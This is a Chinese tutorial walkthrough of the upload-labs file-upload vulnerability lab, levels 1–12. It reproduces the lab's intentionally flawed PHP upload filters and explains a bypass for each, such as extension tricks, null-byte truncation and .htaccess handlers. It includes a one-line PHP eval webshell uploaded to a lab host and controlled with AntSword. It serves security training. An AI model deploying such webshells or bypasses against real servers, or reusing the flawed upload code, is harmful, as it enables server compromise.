文件上传漏洞(upload_labs1-12)

文件上传漏洞

文章目录

  • 文件上传漏洞
        • 1.漏洞成因
        • 2.使用的工具
        • 3.先遣知识一些PHP函数的作用
        • 4.各类型的上传漏洞、
            • xmind图解
            • pass_1
            • pass_2
            • pass_3.
            • pass_4
            • pass_5
            • pass_6
            • pass_7
            • pass_8
            • pass-9
            • pass_10
            • pass_11
            • pass_12
        • 5.实战

1.漏洞成因

  • 服务器配置不当(put 权限)
  • 开源编辑器上传漏洞
  • 过滤不严或被绕过
  • 本地上传限制被绕过(js)
  • 文件解析漏洞导致文件执行
  • 文件路径截断
  • 对于上传文件的MIMETYPE未作检查

2.使用的工具

  • burpsuite

  • 中国蚁剑

  • 自己编写的webshell

  • htaccess

  • 靶机

3.先遣知识一些PHP函数的作用

  • strrchr strrchr() 函数(在php中)查找字符在指定字符串中从右面开始的第一次出现的位置,如果成功,返回该字符以及其后面的字符,如果失败,则返回 NULL。与之相对应的是strrchr()函数,它查找字符串中首次出现指定字符以及其后面的字符。
  • strchr())函数,它查找字符串中首次出现指定字符以及其后面的字符。
  • stripos() 查找字符串首次出现的位置(不区分大小写).
  • trim() 函数移除字符串两侧的空白字符或其他预定义字符。
  • deldot(file_name)删除文件名末尾的点
  • str_replace(find,replace,string,count):在字符串sting中找到字符串find,并把它替换成replace
  • strtolower 转换成小写

4.各类型的上传漏洞、

xmind图解

文件上传漏洞(upload_labs1-12)_第1张图片

pass_1

js对允许上传的文件后缀的限制 可以通过禁用js和将小马转为jpg文件上传拦包进行修改为php

网页源码:

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}
pass_2

对MIMETYPE的检查 可以通过拦包修改MIMETYPE将内容修改为image/jpeg或者将小马转为jpg文件上传拦包进行修改为php

网页源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}
pass_3.

黑名单机制,不允许上传设置好的文件后缀 可以通过fuzz根据自己收集的很多种后缀暴力输入

网页源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
pass_4

无敌黑名单机制 对于这一类型的黑名单只能使用htaccess 将不是php后缀的文件按照php执行

haaccess代码:

AddType application/x-httpd-php .png

网页源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
pass_5

黑名单禁止多种文件但是未检测大小写,通过pHP后缀挂马

网页源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
pass_6

还是黑名单的类型 没有收尾去空操作可以加空绕过 如 'info.php '

网页源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
pass_7

一样是黑名单未对后缀进行删点处理 在后缀加点绕过如 1.php.

网页源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
pass_8

还是黑名单未对 D A T A 进 行 删 除 在 后 面 加 DATA进行删除 在后面加 DATADATA绕过如1.php$DATA

网页源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
pass-9

先去掉首尾的点再去掉首尾的空格,所以可以使用 . .绕过

网页源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
pass_10

依旧是黑名单,查看源码可知道,将黑名单中的后缀替换为空,则可以双写绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
pass_11

查看源码发现是白名单策略,get上传且产生路径的时候使用了上传的路径,可以使用%00截断绕过

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
pass_12

查看源码发现是白名单策略,post上传且产生路径的时候使用了上传的路径,修改16进制0x00绕过

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

5.实战

首先我们访问靶机选择第一关

文件上传漏洞(upload_labs1-12)_第2张图片

我们上传一张图片看看结果

文件上传漏洞(upload_labs1-12)_第3张图片

并且获得上传的路径

http://47.95.4.158:8034//upload/xxx.jpg

下面编写我们的php小马

 @eval($_POST[k]);?>

下面上传我们的小马

文件上传漏洞(upload_labs1-12)_第4张图片

我们发现前端会有检查,阻止除了图片的文件上传,那么我们先将小马改为123.jpg进行上传并使用burpsuite进行拦包

文件上传漏洞(upload_labs1-12)_第5张图片
并将红圈圈出改为123.php 点击forward进行发送 网页显示上传成功

文件上传漏洞(upload_labs1-12)_第6张图片

使用蚂剑进行连接

文件上传漏洞(upload_labs1-12)_第7张图片

同时我们还可以用禁止js的方法进行挂马

我们进入第二关,针对MIMETYPE的检查,这次我们把木马文件改为m.php,开启拦截

文件上传漏洞(upload_labs1-12)_第8张图片

将红圈改为image/jpeg 点击forward成功挂马使用蚁剑进行连接

下面进行第三关

观察源码可知道为黑名单机制,且重新命名了,则使用爆破

文件上传漏洞(upload_labs1-12)_第9张图片

对所有爆破的文件进行访问测试发现成功的进入php3 使用蚁剑进行连接成功

下面进行第四关

编写htaccess文件 进行上传

SetHandler application/x-httpd-php

上传的时候拦包将.htaccess前面的名字去掉上传才可以

文件上传漏洞(upload_labs1-12)_第10张图片

在把木马改为jpg后缀上传 连接成功

下面进行第5关 查看源码发现为黑名单,且htaccess也被过滤,再次检查源码发现,为检查后缀大小写,使用PHP绕过

文件上传漏洞(upload_labs1-12)_第11张图片

未完待续…

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